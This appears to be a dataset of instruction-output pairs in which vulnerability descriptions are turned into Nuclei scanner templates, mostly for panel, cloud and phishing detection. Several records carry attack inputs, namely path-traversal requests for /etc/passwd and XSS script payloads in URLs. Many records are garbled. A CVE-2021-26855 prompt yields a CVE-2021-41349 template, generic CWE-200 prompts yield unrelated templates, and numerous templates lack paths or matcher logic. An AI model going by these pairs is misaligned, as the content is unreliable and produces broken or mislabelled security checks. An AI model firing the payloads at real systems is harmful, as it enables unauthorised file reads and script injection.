Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: jejapl

info:
  name: Jeja.pl User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Jeja.pl user name information check was conducted.
  tags: osint,osint-misc,jejapl,discovery

http:
  - method: GET
    path:
      - "https://www.jeja.pl/user,{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Profil użytkownika"
        part: body


Instruction: Generate a Nuclei template for: Algonomia Leaf Platform Panel - Detect

Input:
Title: Algonomia Leaf Platform Panel - Detect
Summary: Algonomia Leaf Platform Panel - Detect. Algonomia Leaf Platform login panel was detected.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: algonomia-panel

info:
  name: Algonomia Leaf Platform Panel - Detect
  author: righettod
  severity: info
  description: Algonomia Leaf Platform login panel was detected.
  tags: tech,algonomia,detect,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/i18n/en.json"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2022-2034

Input:
Title: Vulnerability (CWE-639) in automattic sensei_lms
Summary: The Sensei LMS WordPress plugin before 4.5.0 does not have proper permissions set in one of its REST endpoint, allowing unauthenticated users to access private messages sent to teachers
Vulnerability Type: Vulnerability (CWE-639)
Severity: medium
Affected Products: automattic sensei_lms
Indicators: error, vulnerability detected

Output:
id: CVE-2022-2034

info:
  name: WordPress Sensei LMS <4.5.0 - Information Disclosure
  author: imhunterand
  severity: medium
  description: WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.
  tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"
    matchers:
      - type: word
        words:
          - "sensei_message"
          - "guid":{"rendered":"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-26855

Input:
Title: Vulnerability (CWE-918) in microsoft exchange_server
Summary: Microsoft Exchange Server Remote Code Execution Vulnerability
Vulnerability Type: Vulnerability (CWE-918)
Severity: critical
Affected Products: microsoft exchange_server
Indicators: error, vulnerability detected

Output:
id: CVE-2021-41349

info:
  name: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting
  author: rootxharsh,iamnoooob
  severity: medium
  description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.
  tags: cve,cve2021,xss,microsoft,exchange,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "alert(document.domain);"
          - "a="""
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: word
        words:
          - "A potentially dangerous Request.Form value was detected from the client"
      - type: status
        status:
          - 500


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: ampps-panel

info:
  name: AMPPS Login Panel
  author: deFr0ggy
  severity: info
  description: An AMPPS login panel was detected.
  tags: panel,ampps,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/ampps/index.php?act=login"
    matchers:
      - type: word
        words:
          - "<a href="http://www.ampps.com">"
          - "<title>Login</title>"
          - "themes/default/images/ampps/favicon.ico"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2015-1000010

Input:
Title: Vulnerability (CWE-284) in simple-image-manipulator_project simple-image-manipulator
Summary: Remote file download in simple-image-manipulator v1.0 wordpress plugin
Vulnerability Type: Vulnerability (CWE-284)
Severity: high
Affected Products: simple-image-manipulator_project simple-image-manipulator
Indicators: error, vulnerability detected

Output:
id: CVE-2015-1000010

info:
  name: WordPress Simple Image Manipulator < 1.0 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: WordPress Simple Image Manipulator 1.0 is vulnerable to local file inclusion in ./simple-image-manipulator/controller/download.php  because no checks are made to authenticate users or sanitize input when determining file location.
  tags: cve2015,cve,packetstorm,wpscan,wordpress,wp-plugin,lfi,wp,simple-image-manipulator_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Detect Terraform Provider

Input:
Title: Detect Terraform Provider
Summary: Detect Terraform Provider. Write Infrastructure as Code - https://www.terraform.io/
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: terraform-detect

info:
  name: Detect Terraform Provider
  author: geeknik
  severity: info
  description: Write Infrastructure as Code - https://www.terraform.io/
  tags: tech,terraform,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/provider.tf"
    matchers:
      - type: word
        words:
          - "access_key"
          - "terraform"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-24340

Input:
Title: SQL Injection in veronalabs wp_statistics
Summary: The WP Statistics WordPress plugin before 13.0.8 relied on using the WordPress esc_sql() function on a field not delimited by quotes and did not first prepare the query. Additionally, the page, which should have been accessible to administrator only, was also available to any visitor, including unauthenticated ones.
Vulnerability Type: SQL Injection
Severity: high
Affected Products: veronalabs wp_statistics
Indicators: error, vulnerability detected

Output:
id: CVE-2021-24340

info:
  name: WordPress Statistics <13.0.8 - Blind SQL Injection
  author: lotusdll,j4vaovo
  severity: high
  description: WordPress Statistic plugin versions prior to version 13.0.8 are affected by an unauthenticated time-based blind SQL injection vulnerability.
  tags: time-based-sqli,cve2021,cve,wp-plugin,unauth,wpscan,wordpress,sqli,blind,edb,veronalabs,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: avg phishing Detection

Input:
Title: avg phishing Detection
Summary: avg phishing Detection. An avg phishing website was detected

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: avg-phish

info:
  name: avg phishing Detection
  author: rxerium
  severity: info
  description: An avg phishing website was detected
  tags: phishing,avg,osint,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "AVG 2024 | FREE Antivirus, VPN & TuneUp for All Your Devices"
      - type: status
        status:
          - 200
      - type: dsl


Instruction: Generate a Nuclei template for: Publicly Accessible DMS Replication Instances

Input:
Title: Publicly Accessible DMS Replication Instances
Summary: Publicly Accessible DMS Replication Instances. Ensure that your Amazon Database Migration Service (DMS) are not publicly accessible from the Internet in order to avoid exposing private data and minimize security risks.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: dms-public-access

info:
  name: Publicly Accessible DMS Replication Instances
  author: DhiyaneshDK
  severity: medium
  description: Ensure that your Amazon Database Migration Service (DMS) are not publicly accessible from the Internet in order to avoid exposing private data and minimize security risks.
  tags: cloud,devops,aws,amazon,dms,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: LANDESK(R) Cloud Services Appliance Detect

Input:
Title: LANDESK(R) Cloud Services Appliance Detect
Summary: LANDESK(R) Cloud Services Appliance Detect. Tags: tech, landesk, discovery
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: landesk-csa

info:
  name: LANDESK(R) Cloud Services Appliance Detect
  author: 0xNirvana
  severity: info
  description: LANDESK(R) Cloud Services Appliance Detect
  tags: tech,landesk,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "LANDESK(R)"
          - "Cloud Services Appliance"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: AWS bucket with Object listing

Input:
Title: AWS bucket with Object listing
Summary: AWS bucket with Object listing. Object listing is enabled in AWS bucket.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: aws-object-listing

info:
  name: AWS bucket with Object listing
  author: pdteam
  severity: low
  description: Object listing is enabled in AWS bucket.
  tags: aws,misconfig,bucket,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<ListBucketResult xmlns="
        part: body
      - type: word
        words:
          - "application/xml"
        part: header
      - type: word
        words:
          - "x-goog-metageneration"
          - "x-goog-generation"
        part: header


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - LiveChatInc API

Input:
Title: Content-Security-Policy Bypass - LiveChatInc API
Summary: Content-Security-Policy Bypass - LiveChatInc API. Tags: xss, csp-bypass, livechatinc-api
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: livechatinc-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - LiveChatInc API
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - LiveChatInc API
  tags: xss,csp-bypass,livechatinc-api,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "livechatinc.com"
        part: header
        condition: and


Instruction: Generate a Nuclei template for CVE-2012-0896

Input:
Title: Path Traversal in count_per_day_project count_per_day and others
Summary: Absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: count_per_day_project count_per_day, tom_braider count_per_day
Indicators: error, vulnerability detected

Output:
id: CVE-2012-0896

info:
  name: Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access
  author: daffainfo
  severity: medium
  description: An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.
  tags: cve,cve2012,packetstorm,lfi,wordpress,wp-plugin,traversal,count_per_day_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2025-2011

Input:
Title: SQL Injection in CVE-2025-2011
Summary: The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Vulnerability Type: SQL Injection
Severity: high
Indicators: error, vulnerability detected

Output:
id: CVE-2025-2011

info:
  name: Slider & Popup Builder by Depicter <= 3.6.1 - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  tags: cve,cve2025,wordpress,wp-plugin,wp,sqli,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Database: "
          - "commonFields"
          - "content"
        part: body
        condition: and


Instruction: Generate a Nuclei template for CVE-2024-3097

Input:
Title: Missing Authorization in imagely nextgen_gallery
Summary: The WordPress Gallery Plugin – NextGEN Gallery plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_item function in versions up to, and including, 3.59. This makes it possible for unauthenticated attackers to extract sensitive data including EXIF and other metadata of any image uploaded through the plugin.
Vulnerability Type: Missing Authorization
Severity: medium
Affected Products: imagely nextgen_gallery
Indicators: unauthorized

Output:
id: CVE-2024-3097

info:
  name: NextGEN Gallery <= 3.59 - Missing Authorization to Unauthenticated Information Disclosure
  author: DhiyanesDK
  severity: medium
  description: The WordPress Gallery Plugin – NextGEN Gallery plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_item function in versions up to, and including, 3.59. This makes it possible for unauthenticated attackers to extract sensitive data including EXIF and other metadata of any image uploaded through the plugin.
  tags: cve,cve2024,wordpress,nextgen-gallery,wp-plugin,info-leak,imagely,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/ngg/v1/admin/block/image/1"
    matchers:
      - type: word
        words:
          - ""success":"
          - ""image":"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Google Autocomplete API Test

Input:
Title: Google Autocomplete API Test
Summary: Google Autocomplete API Test. Tags: token-spray, google, autocomplete
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-googleautocomplete

info:
  name: Google Autocomplete API Test
  author: zzeitlin
  severity: info
  description: Google Autocomplete API Test
  tags: token-spray,google,autocomplete

http:
  - method: GET
    path:
      - "https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key={{token}}"
    matchers:
      - type: word
        words:
          - "error_message"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: ictprotege-login-panel

info:
  name: ICT Protege WX Login Panel - Detect
  author: ritikchaddha
  severity: info
  description: ICT Protege WX Login Panel - Detect
  tags: panel,ictprotege,ict,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.htm"
    matchers:
      - type: word
        words:
          - "<title>ICT Protege WX®</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-45622

Input:
Title: SQL Injection in CVE-2024-45622
Summary: ASIS (aka Aplikasi Sistem Sekolah using CodeIgniter 3) 3.0.0 through 3.2.0 allows index.php username SQL injection for Authentication Bypass.
Vulnerability Type: SQL Injection
Severity: critical
Indicators: error, vulnerability detected

Output:
id: CVE-2024-45622

info:
  name: ASIS - SQL Injection Authentication Bypass
  author: s4e-io
  severity: critical
  description: ASIS (aka Aplikasi Sistem Sekolah using CodeIgniter 3) 3.0.0 through 3.2.0 allows index.php username SQL injection for Authentication Bypass.
  tags: cve,cve2024,asis,auth-bypass,sqli,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2022-23808

Input:
Title: Cross-Site Scripting (XSS) in phpmyadmin phpmyadmin
Summary: An issue was discovered in phpMyAdmin 5.1 before 5.1.2. An attacker can inject malicious code into aspects of the setup script, which can allow XSS or HTML injection.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: phpmyadmin phpmyadmin
Indicators: error, vulnerability detected

Output:
id: CVE-2022-23808

info:
  name: phpMyAdmin < 5.1.2 - Cross-Site Scripting
  author: cckuailong,daffainfo
  severity: medium
  description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.
  tags: cve,cve2022,phpmyadmin,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
    matchers:
      - type: word
        words:
          - ""></script><script>alert(document.domain)</script>"
          - "<h2>Add a new server</h2>"
          - "<title>phpMyAdmin setup"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Tomcat Security Checks

Input:
Title: Tomcat Security Checks
Summary: Tomcat Security Checks. A simple workflow that runs all Tomcat related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: tomcat-workflow

info:
  name: Tomcat Security Checks
  author: pathtaga
  severity: info
  description: A simple workflow that runs all Tomcat related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-8529

Input:
Title: SQL Injection in thimpress learnpress
Summary: The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'c_fields' parameter of the /wp-json/lp/v1/courses/archive-course REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: thimpress learnpress
Indicators: error, vulnerability detected

Output:
id: CVE-2024-8529

info:
  name: LearnPress < 4.2.7.1 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: The LearnPress WordPress LMS Plugin before 4.2.7.1 is vulnerable to unauthenticated SQL injection via the 'c_fields' parameter in the /wp-json/lp/v1/courses/archive-course REST API endpoint, allowing attackers to extract sensitive information from the database.
  tags: cve,cve2024,wordpress,wp-plugin,wp,learnpress,sqli,time-based-sqli,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Zebra Printer Detect

Input:
Title: Zebra Printer Detect
Summary: Zebra Printer Detect. Zebra Printer panel was detected.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: zebra-printer-detect

info:
  name: Zebra Printer Detect
  author: gy741
  severity: info
  description: Zebra Printer panel was detected.
  tags: iot,zebra,printer,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Zebra Technologies"
          - "PrintServer"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Toshiba TopAccess Panel - Detect

Input:
Title: Toshiba TopAccess Panel - Detect
Summary: Toshiba TopAccess Panel - Detect. Tags: topaccess, panel, login
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: topaccess-panel

info:
  name: Toshiba TopAccess Panel - Detect
  author: ritikchaddha
  severity: info
  description: Toshiba TopAccess Panel - Detect
  tags: topaccess,panel,login,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "content="TopAccess"
          - "locale_TopAccess_Messages"
          - "<title>TopAccess"
        part: body
        condition: or
      - type: status
        status:
          - 200
        part: header


Instruction: Generate a Nuclei template for: Azure Log Profile Missing Critical Activity Categories

Input:
Title: Azure Log Profile Missing Critical Activity Categories
Summary: Azure Log Profile Missing Critical Activity Categories. Ensure that the Log Profile created for your Azure cloud activity log is configured to collect logs for all the control and management activity categories, i.e. "Write", "Delete", and "Action", for security and compliance purposes. A Log Profile controls how the activity log is exported and retained within your Microsoft Azure cloud account.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: azure-log-profile-all-activities

info:
  name: Azure Log Profile Missing Critical Activity Categories
  author: princechaddha
  severity: medium
  description: Ensure that the Log Profile created for your Azure cloud activity log is configured to collect logs for all the control and management activity categories, i.e. "Write", "Delete", and "Action", for security and compliance purposes. A Log Profile controls how the activity log is exported and retained within your Microsoft Azure cloud account.
  tags: cloud,devops,azure,microsoft,log-profile,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2017-18501

Input:
Title: Cross-Site Scripting (XSS) in bestwebsoft social_login
Summary: The social-login-bws plugin before 0.2 for WordPress has multiple XSS issues.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: bestwebsoft social_login
Indicators: error, vulnerability detected

Output:
id: CVE-2017-18501

info:
  name: Social Login by BestWebSoft < 0.2 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: The social-login-bws plugin before 0.2 for WordPress has multiple XSS issues.
  tags: cve2017,cve,wordpress,wpscan,bws-social-login,wp-plugin,xss,authenticated,bestwebsoft,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2023-50290

Input:
Title: Information Disclosure in apache solr
Summary: Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Solr.
The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users are able to specify which environment variables to hide, however, the default list is designed to work for known secret Java system properties. Environment variables cannot be strictly defined in Solr, like Java system properties can be, and may be set for the entire host, unlike Java system properties which are set per-Java-proccess.

The Solr Metrics API is protected by the "metrics-read" permission.
Therefore, Solr Clouds with Authorization setup will only be vulnerable via users with the "metrics-read" permission.
This issue affects Apache Solr: from 9.0.0 before 9.3.0.

Users are recommended to upgrade to version 9.3.0 or later, in which environment variables are not published via the Metrics API.

Vulnerability Type: Information Disclosure
Severity: medium
Affected Products: apache solr
Indicators: unauthorized

Output:
id: CVE-2023-50290

info:
  name: Apache Solr - Host Environment Variables Leak via Metrics API
  author: Banana69,DhiyaneshDK
  severity: medium
  description: Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr.
The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users can specify which environment variables to hide, however, the default list is designed to work for known secret Java system properties. Environment variables cannot be strictly defined in Solr, like Java system properties can be, and may be set for the entire host,unlike Java system properties which are set per-Java-proccess.
  tags: cve,cve2023,apache,solr,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/metrics"
    matchers:
      - type: word
        words:
          - ""responseHeader":"
          - ""solr.jetty":"
          - "system.env"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: zyxel-firewall-panel

info:
  name: Zyxel Firewall Panel - Detect
  author: 0x240x23elu
  severity: info
  description: Zyxel Firewall panel was detected.
  tags: panel,xyxel,firewall,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "/lib/mode_ana"
        part: body
      - type: word
        words:
          - "VPN"
          - "USG"
          - "ATP"
        part: body
        condition: or


Instruction: Generate a Nuclei template for CVE-2017-12544

Input:
Title: Cross-Site Scripting (XSS) in hp system_management_homepage
Summary: A cross-site scripting vulnerability in HPE System Management Homepage for Windows and Linux version prior to v7.6.1 was found.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: hp system_management_homepage
Indicators: error, vulnerability detected

Output:
id: CVE-2017-12544

info:
  name: HPE System Management - Cross-Site Scripting
  author: divya_mudgal
  severity: medium
  description: HPE System Management contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  tags: cve,cve2017,xss,hp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/gsearch.php.en?prod=';prompt`document.domain`;//"
    matchers:
      - type: word
        words:
          - "var prodName = '';prompt`document.domain`;//';"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: edge phishing Detection

Input:
Title: edge phishing Detection
Summary: edge phishing Detection. A edge phishing website was detected

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: edge-phish

info:
  name: edge phishing Detection
  author: rxerium
  severity: info
  description: A edge phishing website was detected
  tags: phishing,edge,osint,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Sign in - edge Accounts"
      - type: status
        status:
          - 200
      - type: dsl


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: bgp-detect

info:
  name: BGP Detection
  author: danfaizer
  severity: info
  description: The remote host is running BGP, a popular routing protocol. This indicates that the remote host is probably a network router.
  tags: network,bgp,detect,detection,tcp,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Check for Publicly Accessible Cloud Storage Buckets

Input:
Title: Check for Publicly Accessible Cloud Storage Buckets
Summary: Check for Publicly Accessible Cloud Storage Buckets. Ensure that the IAM policy associated with your Google Cloud Storage buckets is restricting anonymous and/or public access. The IAM policy should not include bindings for "allUsers" or "allAuthenticatedUsers" to prevent unauthorized access to sensitive data.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: gcloud-publicly-accessible-storage-buckets

info:
  name: Check for Publicly Accessible Cloud Storage Buckets
  author: princechaddha
  severity: high
  description: Ensure that the IAM policy associated with your Google Cloud Storage buckets is restricting anonymous and/or public access. The IAM policy should not include bindings for "allUsers" or "allAuthenticatedUsers" to prevent unauthorized access to sensitive data.
  tags: cloud,devops,gcp,gcloud,google-cloud-storage,iam,security,public-access,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: AWS VPN Tunnel Down

Input:
Title: AWS VPN Tunnel Down
Summary: AWS VPN Tunnel Down. Ensures AWS VPN tunnels are in an UP state, facilitating uninterrupted network traffic through the Virtual Private Network.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: vpn-tunnel-down

info:
  name: AWS VPN Tunnel Down
  author: princechaddha
  severity: high
  description: Ensures AWS VPN tunnels are in an UP state, facilitating uninterrupted network traffic through the Virtual Private Network.
  tags: cloud,devops,aws,amazon,vpn,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Improper Access Control

Input:
Title: Improper Access Control (CWE-284)
Summary: The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Access control involves the use of several protection mechanisms such as:
             Authentication (proving the identity of an actor)
                Authorization (ensuring that a given actor can access a resource), and
                Accountability (tracking of activities that were performed)
             When any mechanism is not applied or otherwise fails, attackers can compromise
Vulnerability Type: Improper Access Control
Severity: medium
Indicators: error, unauthorized

Output:
id: deos-open500ems-panel

info:
  name: DEOS OPEN 500EMS Controller - Admin Exposure
  author: sullo
  severity: high
  description: The DEOS OPEN 500EMS controller exposes administrative functions without authentication.
  tags: openv500,disclosure,panel,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/cosmobdf.cgi?function=0"
      - "{{BaseURL}}/cgi-bin/cosmobdf.cgi?function=1"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<b>OPENview</b>"
          - "/cgi-bin/cosmobdf.cgi?function=12"
          - "/cgi-bin/cosmobdf.cgi?function=2"
        part: body
        condition: or


Instruction: Generate a Nuclei template for: txAdmin Panel - Detect

Input:
Title: txAdmin Panel - Detect
Summary: txAdmin Panel - Detect. txAdmin panel was discovered.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: txadmin-panel

info:
  name: txAdmin Panel - Detect
  author: s4e-io
  severity: info
  description: txAdmin panel was discovered.
  tags: panel,login,txadmin,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
